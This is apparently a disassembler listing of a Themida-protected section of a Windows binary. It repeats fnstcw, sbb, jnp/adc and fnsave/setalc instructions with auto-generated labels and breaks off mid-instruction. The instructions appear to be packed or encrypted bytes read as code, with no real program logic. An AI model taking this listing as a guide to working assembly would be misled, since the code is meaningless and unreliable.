fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh jnb short loc_613E09 fisttp qword ptr [ebx+esi*2+29h] fisttp qword ptr [ebx+esi*2+29h] fisttp qword ptr [ebx+esi*2+29h] fisttp qword ptr [ebx+esi*2+29h] fisttp qword ptr [ebx+esi*2+29h] fisttp qword ptr [ebx+esi*2+29h] fisttp qword ptr [ebx+esi*2+29h] fisttp qword ptr [ebx+esi*2+29h] fisttp qword ptr [ebp+ebp*8+7Bh] and dl, [edx] in eax, dx jnp short loc_613E2B loc_613E09: ; CODE XREF: Themida_:00613DDEj adc ch, ch jnp short loc_613E2F adc ch, ch jnp short loc_613E33 adc ch, ch jnp short loc_613E37 adc ch, ch jnp short loc_613E3B adc ch, ch jnp short loc_613E3F adc ch, ch jnp short loc_613E43 adc ch, ch jnp short loc_613E47 adc ch, ch jnp short loc_613E4B adc ch, ch loc_613E2B: ; CODE XREF: Themida_:00613E07j jnp short loc_613E4F adc ch, ch loc_613E2F: ; CODE XREF: Themida_:00613E0Bj jnp short loc_613E53 adc ch, ch loc_613E33: ; CODE XREF: Themida_:00613E0Fj jnp short loc_613E57 adc ch, ch loc_613E37: ; CODE XREF: Themida_:00613E13j jnp short loc_613E5B adc ch, ch loc_613E3B: ; CODE XREF: Themida_:00613E17j jnp short loc_613E5F adc ch, ch loc_613E3F: ; CODE XREF: Themida_:00613E1Bj jnp short loc_613E63 adc ch, ch loc_613E43: ; CODE XREF: Themida_:00613E1Fj jnp short loc_613E67 adc ch, ch loc_613E47: ; CODE XREF: Themida_:00613E23j jnp short loc_613E6B adc ch, ch loc_613E4B: ; CODE XREF: Themida_:00613E27j jnp short loc_613E6F adc ch, ch loc_613E4F: ; CODE XREF: Themida_:loc_613E2Bj jnp short loc_613E73 adc ch, ch loc_613E53: ; CODE XREF: Themida_:loc_613E2Fj jnp short loc_613E77 adc ch, ch loc_613E57: ; CODE XREF: Themida_:loc_613E33j jnp short loc_613E7B adc ch, ch loc_613E5B: ; CODE XREF: Themida_:loc_613E37j jnp short loc_613E7F adc ch, ch loc_613E5F: ; CODE XREF: Themida_:loc_613E3Bj jnp short loc_613E83 adc ch, ch loc_613E63: ; CODE XREF: Themida_:loc_613E3Fj jnp short loc_613E87 adc ch, ch loc_613E67: ; CODE XREF: Themida_:loc_613E43j jnp short loc_613E8B adc ch, ch loc_613E6B: ; CODE XREF: Themida_:loc_613E47j jnp short loc_613E8F adc ch, ch loc_613E6F: ; CODE XREF: Themida_:loc_613E4Bj jnp short loc_613E93 adc ch, ch loc_613E73: ; CODE XREF: Themida_:loc_613E4Fj jnp short loc_613E97 adc ch, ch loc_613E77: ; CODE XREF: Themida_:loc_613E53j jnp short loc_613E9B adc ch, ch loc_613E7B: ; CODE XREF: Themida_:loc_613E57j jnp short loc_613E9F adc ch, ch loc_613E7F: ; CODE XREF: Themida_:loc_613E5Bj jnp short loc_613EA3 adc ch, ch loc_613E83: ; CODE XREF: Themida_:loc_613E5Fj jnp short loc_613EA7 adc ch, ch loc_613E87: ; CODE XREF: Themida_:loc_613E63j jnp short loc_613EAB adc ch, ch loc_613E8B: ; CODE XREF: Themida_:loc_613E67j jnp short loc_613EAF adc ch, ch loc_613E8F: ; CODE XREF: Themida_:loc_613E6Bj jnp short loc_613EB3 adc ch, ch loc_613E93: ; CODE XREF: Themida_:loc_613E6Fj jnp short loc_613EB7 adc ch, ch loc_613E97: ; CODE XREF: Themida_:loc_613E73j jnp short loc_613EBB adc ch, ch loc_613E9B: ; CODE XREF: Themida_:loc_613E77j jnp short loc_613EBF adc ch, ch loc_613E9F: ; CODE XREF: Themida_:loc_613E7Bj jnp short loc_613EC3 adc ch, ch loc_613EA3: ; CODE XREF: Themida_:loc_613E7Fj jnp short loc_613EC7 adc ch, ch loc_613EA7: ; CODE XREF: Themida_:loc_613E83j jnp short loc_613ECB adc ch, ch loc_613EAB: ; CODE XREF: Themida_:loc_613E87j jnp short loc_613ECF adc ch, ch loc_613EAF: ; CODE XREF: Themida_:loc_613E8Bj jnp short loc_613ED3 adc ch, ch loc_613EB3: ; CODE XREF: Themida_:loc_613E8Fj jnp short loc_613ED7 adc ch, ch loc_613EB7: ; CODE XREF: Themida_:loc_613E93j jnp short loc_613EDB adc ch, ch loc_613EBB: ; CODE XREF: Themida_:loc_613E97j jnp short loc_613EDF adc ch, ch loc_613EBF: ; CODE XREF: Themida_:loc_613E9Bj jnp short loc_613EE3 adc ch, ch loc_613EC3: ; CODE XREF: Themida_:loc_613E9Fj jnp short loc_613EE7 adc ch, ch loc_613EC7: ; CODE XREF: Themida_:loc_613EA3j jnp short loc_613EEB adc ch, ch loc_613ECB: ; CODE XREF: Themida_:loc_613EA7j jnp short loc_613EEF adc ch, ch loc_613ECF: ; CODE XREF: Themida_:loc_613EABj jnp short loc_613EF3 adc ch, ch loc_613ED3: ; CODE XREF: Themida_:loc_613EAFj jnp short loc_613EF7 adc ch, ch loc_613ED7: ; CODE XREF: Themida_:loc_613EB3j jnp short loc_613EFB adc ch, ch loc_613EDB: ; CODE XREF: Themida_:loc_613EB7j jnp short loc_613EFF adc ch, ch loc_613EDF: ; CODE XREF: Themida_:loc_613EBBj jnp short loc_613F03 adc ch, ch loc_613EE3: ; CODE XREF: Themida_:loc_613EBFj jnp short loc_613F07 adc ch, ch loc_613EE7: ; CODE XREF: Themida_:loc_613EC3j jnp short loc_613F0B adc ch, ch loc_613EEB: ; CODE XREF: Themida_:loc_613EC7j jnp short loc_613F0F adc ch, ch loc_613EEF: ; CODE XREF: Themida_:loc_613ECBj jnp short loc_613F13 adc ch, ch loc_613EF3: ; CODE XREF: Themida_:loc_613ECFj jnp short loc_613F17 adc ch, ch loc_613EF7: ; CODE XREF: Themida_:loc_613ED3j jnp short loc_613F1B adc ch, ch loc_613EFB: ; CODE XREF: Themida_:loc_613ED7j jnp short loc_613F1F adc ch, ch loc_613EFF: ; CODE XREF: Themida_:loc_613EDBj jnp short loc_613F23 adc ch, ch loc_613F03: ; CODE XREF: Themida_:loc_613EDFj jnp short loc_613F27 adc ch, ch loc_613F07: ; CODE XREF: Themida_:loc_613EE3j jnp short loc_613F2B adc ch, ch loc_613F0B: ; CODE XREF: Themida_:loc_613EE7j jnp short loc_613F2F adc ch, ch loc_613F0F: ; CODE XREF: Themida_:loc_613EEBj jnp short loc_613F33 adc ch, ch loc_613F13: ; CODE XREF: Themida_:loc_613EEFj jnp short loc_613F37 adc ch, ch loc_613F17: ; CODE XREF: Themida_:loc_613EF3j jnp short loc_613F3B adc ch, ch loc_613F1B: ; CODE XREF: Themida_:loc_613EF7j jnp short loc_613F3F adc ch, ch loc_613F1F: ; CODE XREF: Themida_:loc_613EFBj jnp short loc_613F43 adc ch, ch loc_613F23: ; CODE XREF: Themida_:loc_613EFFj jnp short loc_613F47 adc ch, ch loc_613F27: ; CODE XREF: Themida_:loc_613F03j jnp short loc_613F4B adc ch, ch loc_613F2B: ; CODE XREF: Themida_:loc_613F07j jnp short loc_613F4F adc ch, ch loc_613F2F: ; CODE XREF: Themida_:loc_613F0Bj jnp short loc_613F53 adc ch, ch loc_613F33: ; CODE XREF: Themida_:loc_613F0Fj jnp short loc_613F57 adc ch, ch loc_613F37: ; CODE XREF: Themida_:loc_613F13j jnp short loc_613F5B adc ch, ch loc_613F3B: ; CODE XREF: Themida_:loc_613F17j jnp short loc_613F5F adc ch, ch loc_613F3F: ; CODE XREF: Themida_:loc_613F1Bj jnp short loc_613F63 adc ch, ch loc_613F43: ; CODE XREF: Themida_:loc_613F1Fj jnp short loc_613F67 adc ch, ch loc_613F47: ; CODE XREF: Themida_:loc_613F23j jnp short loc_613F6B adc ch, ch loc_613F4B: ; CODE XREF: Themida_:loc_613F27j jnp short loc_613F6F adc ch, ch loc_613F4F: ; CODE XREF: Themida_:loc_613F2Bj jnp short loc_613F73 adc ch, ch loc_613F53: ; CODE XREF: Themida_:loc_613F2Fj jnp short loc_613F77 adc ch, ch loc_613F57: ; CODE XREF: Themida_:loc_613F33j jnp short loc_613F7B adc ch, ch loc_613F5B: ; CODE XREF: Themida_:loc_613F37j jnp short loc_613F7F adc ch, ch loc_613F5F: ; CODE XREF: Themida_:loc_613F3Bj jnp short loc_613F83 adc ch, ch loc_613F63: ; CODE XREF: Themida_:loc_613F3Fj jnp short loc_613F87 adc ch, ch loc_613F67: ; CODE XREF: Themida_:loc_613F43j jnp short loc_613F8B adc ch, ch loc_613F6B: ; CODE XREF: Themida_:loc_613F47j jnp short loc_613F8F adc ch, ch loc_613F6F: ; CODE XREF: Themida_:loc_613F4Bj jnp short loc_613F93 adc ch, ch loc_613F73: ; CODE XREF: Themida_:loc_613F4Fj jnp short loc_613F97 adc ch, ch loc_613F77: ; CODE XREF: Themida_:loc_613F53j jnp short loc_613F9B adc ch, ch loc_613F7B: ; CODE XREF: Themida_:loc_613F57j jnp short loc_613F9F adc ch, ch loc_613F7F: ; CODE XREF: Themida_:loc_613F5Bj jnp short loc_613FA3 adc ch, ch loc_613F83: ; CODE XREF: Themida_:loc_613F5Fj jnp short loc_613FA7 adc ch, ch loc_613F87: ; CODE XREF: Themida_:loc_613F63j jnp short loc_613FAB adc ch, ch loc_613F8B: ; CODE XREF: Themida_:loc_613F67j jnp short loc_613FAF adc ch, ch loc_613F8F: ; CODE XREF: Themida_:loc_613F6Bj jnp short loc_613FB3 adc ch, ch loc_613F93: ; CODE XREF: Themida_:loc_613F6Fj jnp short loc_613FB7 adc ch, ch loc_613F97: ; CODE XREF: Themida_:loc_613F73j jnp short loc_613FBB adc ch, ch loc_613F9B: ; CODE XREF: Themida_:loc_613F77j jnp short loc_613FBF adc ch, ch loc_613F9F: ; CODE XREF: Themida_:loc_613F7Bj jnp short loc_613FC3 adc ch, ch loc_613FA3: ; CODE XREF: Themida_:loc_613F7Fj jnp short loc_613FC7 adc ch, ch loc_613FA7: ; CODE XREF: Themida_:loc_613F83j jnp short loc_613FCB adc ch, ch loc_613FAB: ; CODE XREF: Themida_:loc_613F87j jnp short loc_613FCF adc ch, ch loc_613FAF: ; CODE XREF: Themida_:loc_613F8Bj jnp short loc_613FD3 adc ch, ch loc_613FB3: ; CODE XREF: Themida_:loc_613F8Fj jnp short loc_613FD7 adc ch, ch loc_613FB7: ; CODE XREF: Themida_:loc_613F93j jnp short loc_613FDB adc ch, ch loc_613FBB: ; CODE XREF: Themida_:loc_613F97j jnp short loc_613FDF adc ch, ch loc_613FBF: ; CODE XREF: Themida_:loc_613F9Bj jnp short loc_613FE3 adc ch, ch loc_613FC3: ; CODE XREF: Themida_:loc_613F9Fj jnp short loc_613FE7 adc ch, ch loc_613FC7: ; CODE XREF: Themida_:loc_613FA3j jnp short loc_613FEB adc ch, ch loc_613FCB: ; CODE XREF: Themida_:loc_613FA7j jnp short loc_613FEF adc ch, ch loc_613FCF: ; CODE XREF: Themida_:loc_613FABj jnp short loc_613FF3 adc ch, ch loc_613FD3: ; CODE XREF: Themida_:loc_613FAFj jnp short loc_613FF7 adc ch, ch loc_613FD7: ; CODE XREF: Themida_:loc_613FB3j jnp short loc_613FFB adc ch, ch loc_613FDB: ; CODE XREF: Themida_:loc_613FB7j jnp short loc_613FFF adc ch, ch loc_613FDF: ; CODE XREF: Themida_:loc_613FBBj jnp short loc_614003 adc ch, ch loc_613FE3: ; CODE XREF: Themida_:loc_613FBFj jnp short loc_614007 adc ch, ch loc_613FE7: ; CODE XREF: Themida_:loc_613FC3j jnp short loc_61400B adc ch, ch loc_613FEB: ; CODE XREF: Themida_:loc_613FC7j jnp short loc_61400F adc ch, ch loc_613FEF: ; CODE XREF: Themida_:loc_613FCBj jnp short loc_614013 adc ch, ch loc_613FF3: ; CODE XREF: Themida_:loc_613FCFj jnp short loc_614017 adc ch, ch loc_613FF7: ; CODE XREF: Themida_:loc_613FD3j jnp short loc_61401B adc ch, ch loc_613FFB: ; CODE XREF: Themida_:loc_613FD7j jnp short loc_61401F adc ch, ch loc_613FFF: ; CODE XREF: Themida_:loc_613FDBj jnp short loc_614023 adc ch, ch loc_614003: ; CODE XREF: Themida_:loc_613FDFj jnp short loc_614027 adc ch, ch loc_614007: ; CODE XREF: Themida_:loc_613FE3j jnp short loc_61402B adc ch, ch loc_61400B: ; CODE XREF: Themida_:loc_613FE7j jnp short loc_61402F adc ch, ch loc_61400F: ; CODE XREF: Themida_:loc_613FEBj jnp short loc_614033 adc ch, ch loc_614013: ; CODE XREF: Themida_:loc_613FEFj jnp short loc_614037 adc ch, ch loc_614017: ; CODE XREF: Themida_:loc_613FF3j jnp short loc_61403B adc ch, ch loc_61401B: ; CODE XREF: Themida_:loc_613FF7j jnp short loc_61403F adc ch, ch loc_61401F: ; CODE XREF: Themida_:loc_613FFBj jnp short loc_614043 adc ch, ch loc_614023: ; CODE XREF: Themida_:loc_613FFFj jnp short loc_614047 adc ch, ch loc_614027: ; CODE XREF: Themida_:loc_614003j jnp short loc_61404B adc ch, ch loc_61402B: ; CODE XREF: Themida_:loc_614007j jnp short loc_61404F adc ch, ch loc_61402F: ; CODE XREF: Themida_:loc_61400Bj jnp short loc_614053 adc ch, ch loc_614033: ; CODE XREF: Themida_:loc_61400Fj jnp short loc_614057 adc ch, ch loc_614037: ; CODE XREF: Themida_:loc_614013j jnp short loc_61405B adc ch, ch loc_61403B: ; CODE XREF: Themida_:loc_614017j jnp short loc_61405F adc ch, ch loc_61403F: ; CODE XREF: Themida_:loc_61401Bj jnp short loc_614063 adc ch, ch loc_614043: ; CODE XREF: Themida_:loc_61401Fj jnp short loc_614067 adc ch, ch loc_614047: ; CODE XREF: Themida_:loc_614023j jnp short loc_61406B adc ch, ch loc_61404B: ; CODE XREF: Themida_:loc_614027j jnp short loc_61406F adc ch, ch loc_61404F: ; CODE XREF: Themida_:loc_61402Bj jnp short loc_614073 adc ch, ch loc_614053: ; CODE XREF: Themida_:loc_61402Fj jnp short loc_614077 adc ch, ch loc_614057: ; CODE XREF: Themida_:loc_614033j jnp short loc_61407B adc ch, ch loc_61405B: ; CODE XREF: Themida_:loc_614037j jnp short loc_61407F adc ch, ch loc_61405F: ; CODE XREF: Themida_:loc_61403Bj jnp short loc_614083 adc ch, ch loc_614063: ; CODE XREF: Themida_:loc_61403Fj jnp short loc_614087 adc ch, ch loc_614067: ; CODE XREF: Themida_:loc_614043j jnp short loc_61408B adc ch, ch loc_61406B: ; CODE XREF: Themida_:loc_614047j jnp short loc_61408F adc ch, ch loc_61406F: ; CODE XREF: Themida_:loc_61404Bj jnp short loc_614093 adc ch, ch loc_614073: ; CODE XREF: Themida_:loc_61404Fj jnp short loc_614097 adc ch, ch loc_614077: ; CODE XREF: Themida_:loc_614053j jnp short loc_61409B adc ch, ch loc_61407B: ; CODE XREF: Themida_:loc_614057j jnp short loc_61409F adc ch, ch loc_61407F: ; CODE XREF: Themida_:loc_61405Bj jnp short loc_6140A3 adc ch, ch loc_614083: ; CODE XREF: Themida_:loc_61405Fj jnp short loc_6140A7 adc ch, ch loc_614087: ; CODE XREF: Themida_:loc_614063j jnp short loc_6140AB adc ch, ch loc_61408B: ; CODE XREF: Themida_:loc_614067j jnp short loc_6140AF adc ch, ch loc_61408F: ; CODE XREF: Themida_:loc_61406Bj jnp short loc_6140B3 adc ch, ch loc_614093: ; CODE XREF: Themida_:loc_61406Fj jnp short loc_6140B7 adc ch, ch loc_614097: ; CODE XREF: Themida_:loc_614073j jnp short loc_6140BB adc ch, ch loc_61409B: ; CODE XREF: Themida_:loc_614077j jnp short loc_6140BF adc ch, ch loc_61409F: ; CODE XREF: Themida_:loc_61407Bj jnp short loc_6140C3 adc ch, ch loc_6140A3: ; CODE XREF: Themida_:loc_61407Fj jnp short loc_6140C7 adc ch, ch loc_6140A7: ; CODE XREF: Themida_:loc_614083j jnp short loc_6140CB adc ch, ch loc_6140AB: ; CODE XREF: Themida_:loc_614087j jnp short loc_6140CF adc ch, ch loc_6140AF: ; CODE XREF: Themida_:loc_61408Bj jnp short loc_6140D3 adc ch, ch loc_6140B3: ; CODE XREF: Themida_:loc_61408Fj jnp short loc_6140D7 adc ch, ch loc_6140B7: ; CODE XREF: Themida_:loc_614093j jnp short loc_6140DB adc ch, ch loc_6140BB: ; CODE XREF: Themida_:loc_614097j jnp short loc_6140DF adc ch, ch loc_6140BF: ; CODE XREF: Themida_:loc_61409Bj jnp short loc_6140E3 adc ch, ch loc_6140C3: ; CODE XREF: Themida_:loc_61409Fj jnp short loc_6140E7 adc ch, ch loc_6140C7: ; CODE XREF: Themida_:loc_6140A3j jnp short loc_6140EB adc ch, ch loc_6140CB: ; CODE XREF: Themida_:loc_6140A7j jnp short loc_6140EF adc ch, ch loc_6140CF: ; CODE XREF: Themida_:loc_6140ABj jnp short loc_6140F3 adc ch, ch loc_6140D3: ; CODE XREF: Themida_:loc_6140AFj jnp short loc_6140F7 adc ch, ch loc_6140D7: ; CODE XREF: Themida_:loc_6140B3j jnp short loc_6140FB adc ch, ch loc_6140DB: ; CODE XREF: Themida_:loc_6140B7j jnp short loc_6140FF adc ch, ch loc_6140DF: ; CODE XREF: Themida_:loc_6140BBj jnp short loc_614103 adc ch, ch loc_6140E3: ; CODE XREF: Themida_:loc_6140BFj jnp short loc_614107 adc ch, ch loc_6140E7: ; CODE XREF: Themida_:loc_6140C3j jnp short loc_61410B adc ch, ch loc_6140EB: ; CODE XREF: Themida_:loc_6140C7j jnp short loc_61410F adc ch, ch loc_6140EF: ; CODE XREF: Themida_:loc_6140CBj jnp short loc_614113 adc ch, ch loc_6140F3: ; CODE XREF: Themida_:loc_6140CFj jnp short loc_614117 adc ch, ch loc_6140F7: ; CODE XREF: Themida_:loc_6140D3j jnp short loc_61411B adc ch, ch loc_6140FB: ; CODE XREF: Themida_:loc_6140D7j jnp short loc_61411F adc ch, ch loc_6140FF: ; CODE XREF: Themida_:loc_6140DBj jnp short loc_614123 adc ch, ch loc_614103: ; CODE XREF: Themida_:loc_6140DFj jnp short loc_614127 adc ch, ch loc_614107: ; CODE XREF: Themida_:loc_6140E3j jnp short loc_61412B adc ch, ch loc_61410B: ; CODE XREF: Themida_:loc_6140E7j jnp short loc_61412F adc ch, ch loc_61410F: ; CODE XREF: Themida_:loc_6140EBj jnp short loc_614133 adc ch, ch loc_614113: ; CODE XREF: Themida_:loc_6140EFj jnp short loc_614137 adc ch, ch loc_614117: ; CODE XREF: Themida_:loc_6140F3j jnp short loc_61413B adc ch, ch loc_61411B: ; CODE XREF: Themida_:loc_6140F7j jnp short loc_61413F adc ch, ch loc_61411F: ; CODE XREF: Themida_:loc_6140FBj jnp short loc_614143 adc ch, ch loc_614123: ; CODE XREF: Themida_:loc_6140FFj jnp short loc_614147 adc ch, ch loc_614127: ; CODE XREF: Themida_:loc_614103j jnp short loc_61414B adc ch, ch loc_61412B: ; CODE XREF: Themida_:loc_614107j jnp short loc_61414F adc ch, ch loc_61412F: ; CODE XREF: Themida_:loc_61410Bj jnp short loc_614153 adc ch, ch loc_614133: ; CODE XREF: Themida_:loc_61410Fj jnp short loc_614157 adc ch, ch loc_614137: ; CODE XREF: Themida_:loc_614113j jnp short loc_61415B adc ch, ch loc_61413B: ; CODE XREF: Themida_:loc_614117j jnp short loc_61415F adc ch, ch loc_61413F: ; CODE XREF: Themida_:loc_61411Bj jnp short loc_614163 adc ch, ch loc_614143: ; CODE XREF: Themida_:loc_61411Fj jnp short loc_614167 adc ch, ch loc_614147: ; CODE XREF: Themida_:loc_614123j jnp short loc_61416B adc ch, ch loc_61414B: ; CODE XREF: Themida_:loc_614127j jnp short loc_61416F adc ch, ch loc_61414F: ; CODE XREF: Themida_:loc_61412Bj jnp short loc_614173 adc ch, ch loc_614153: ; CODE XREF: Themida_:loc_61412Fj jnp short loc_614177 adc ch, ch loc_614157: ; CODE XREF: Themida_:loc_614133j jnp short loc_61417B adc ch, ch loc_61415B: ; CODE XREF: Themida_:loc_614137j jnp short loc_61417F adc ch, ch loc_61415F: ; CODE XREF: Themida_:loc_61413Bj jnp short loc_614183 adc ch, ch loc_614163: ; CODE XREF: Themida_:loc_61413Fj jnp short loc_614187 adc ch, ch loc_614167: ; CODE XREF: Themida_:loc_614143j jnp short loc_61418B adc ch, ch loc_61416B: ; CODE XREF: Themida_:loc_614147j jnp short loc_61418F adc ch, ch loc_61416F: ; CODE XREF: Themida_:loc_61414Bj fnsave byte ptr [ecx+5Fh] setalc loc_614173: ; CODE XREF: Themida_:loc_61414Fj fnsave byte ptr [ecx+5Fh] setalc loc_614177: ; CODE XREF: Themida_:loc_614153j fnsave byte ptr [ecx+5Fh] setalc loc_61417B: ; CODE XREF: Themida_:loc_614157j fnsave byte ptr [ecx+5Fh] setalc loc_61417F: ; CODE XREF: Themida_:loc_61415Bj fnsave byte ptr [ecx+5Fh] setalc loc_614183: ; CODE XREF: Themida_:loc_61415Fj fnsave byte ptr [ecx+5Fh] setalc loc_614187: ; CODE XREF: Themida_:loc_614163j fnsave byte ptr [ecx+5Fh] setalc loc_61418B: ; CODE XREF: Themida_:loc_614167j fnsave byte ptr [ecx+5Fh] setalc loc_61418F: ; CODE XREF: Themida_:loc_61416Bj fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr 